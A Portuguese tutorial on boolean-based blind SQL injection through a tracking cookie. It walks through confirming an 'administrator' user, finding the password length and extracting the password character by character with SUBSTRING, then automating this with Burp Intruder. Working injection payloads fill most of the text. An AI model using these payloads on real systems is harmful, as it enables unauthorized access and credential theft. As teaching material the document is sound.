

# SQL Injection

Blind SQL Injection



# Respostas Condicionais

Ataques de SQL Injection com a técnica de respostas condicionais consiste na análise das respostas da aplicação para as diferentes injeções SQL com o intuito de entender se estas injeções foram ou não interpretadas e executadas. Exemplo:

```
SELECT * FROM TrackedUsers WHERE tracking_id = '$tracking_cookie';
```

**Injeção:** `cookie_valido' AND 1=1--`

**Query:** `SELECT * FROM TrackedUsers WHERE tracking_id = 'cookie_valido' AND 1=1--;`

**Resposta:** A aplicação devolve a mensagem "Welcome Back"

**Injeção:** `cookie_valido' AND 1=2--`

**Query:** `SELECT * FROM TrackedUsers WHERE tracking_id = 'cookie_valido' AND 1=2--;`

**Resultado:** A aplicação não devolve a mensagem "Welcome Back"

A isto chama-se Blind SQL Injection pois embora a aplicação não retorne e renderize os erros SQL, através da análise das respostas da aplicação conseguimos verificar se as nossas injeções SQL estão ou não a ser interpretadas e executadas.

# Respostas Condicionais

Sabendo que a tabela users existe, vamos agora confirmar que existe um usuário cujo username é "administrator".

```
SELECT * FROM TrackedUsers WHERE tracking_id = '$tracking_cookie';
```

**Injeção:** `cookie_valido' AND (SELECT username FROM users WHERE username='administrator') = 'administrator'--`

**Query:** `SELECT * FROM TrackedUsers WHERE tracking_id = 'cookie_valido' AND (SELECT username FROM users WHERE username='administrator') = 'administrator'--';`

**Resposta:** A aplicação devolve a mensagem "Welcome Back"

**Conclusão:** Verificamos que a aplicação devolve a mensagem "Welcome Back", concluindo assim que existe um usuário cujo username é "administrator". Se não existisse um usuário com username "administrator", o resultado da query `SELECT username FROM users WHERE username='administrator'` devolvia um erro SQL a indicar que não existe nenhum usuário com o username "administrator" e, portanto o resultado final da query ia ser falso. Nesse caso a aplicação não devolvia a mensagem "Welcome Back".

**Outra Injeção Possível:** `cookie_valido' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'--`

# Respostas Condicionais

Sabendo que existe um usuário cujo username é "administrator", vamos agora tentar descobrir qual é a respetiva password. Vamos portanto começar por descobrir o tamanho da password.

```
SELECT * FROM TrackedUsers WHERE tracking_id = '$tracking_cookie';
```

**Injeção:** `cookie_valido' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password) =1) = 'a'--`

**Query:** `SELECT * FROM TrackedUsers WHERE tracking_id = 'cookie_valido' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password) =1) = 'a'--';`

**Resposta:** A aplicação não devolve a mensagem "Welcome Back"

**Conclusão:** Se a password tiver apenas 1 caractere, a resposta a esta injeção terá a mensagem "Welcome Back". Caso a mensagem "Welcome Back" não apareça, temos que experimentar outros valores (2, 3, 4, etc..) até descobrir o tamanho da password.

# Respostas Condicionais

Após descobrirmos o tamanho da password, podemos, caractere a caractere, descobrir a password do usuário. Para tal, temos que fazer algumas alterações na nossa injeção SQL e introduzir na mesma a função SUBSTRING().

**SELECT trackid FROM TrackedUsers WHERE tracking\_id = '\$tracking\_cookie';**

**Injeção:** `cookie_valido' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--`

**Query:** `SELECT trackid FROM TrackedUsers WHERE tracking_id = " AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'--";`

**Resposta:** A aplicação não devolve a mensagem "Welcome Back"

**Conclusão:** Se o primeiro caractere da password do usuário com username "administrator" for "a", a aplicação deve devolver a mensagem "Welcome Back". Como não devolve esta mensagem, sabemos que o primeiro caractere da password não é "a" e, portanto, temos que experimentar os restantes caracteres.



# Respostas Condicionais

## Posições dos Payloads

**SUBSTRING(password,1,1) = 'a'--**

Payload 1 (Lista de Caracteres)	1	a
	2	b
	3	...
	...	z
	20	0
Payload 2 (Lista de Caracteres)	...	1
	...	...
	9	9

## Burp Intruder | Attack Type: Cluster Bomb

### Requisição

SUBSTRING(password,1,1) = 'a'--  
SUBSTRING(password,2,1) = 'a'--  
SUBSTRING(password,\_,1) = 'a'--  
SUBSTRING(password,20,1) = 'a'--

SUBSTRING(password,1,1) = 'b'--  
SUBSTRING(password,2,1) = 'b'--  
SUBSTRING(password,\_,1) = 'b'--  
SUBSTRING(password,20,1) = 'b'--

### Resposta

Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!

Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!
Status	Timeout	Length	Welcome Back!

Configuração no Intruder para analisar respostas e identificar a mensagem "Welcome Back!"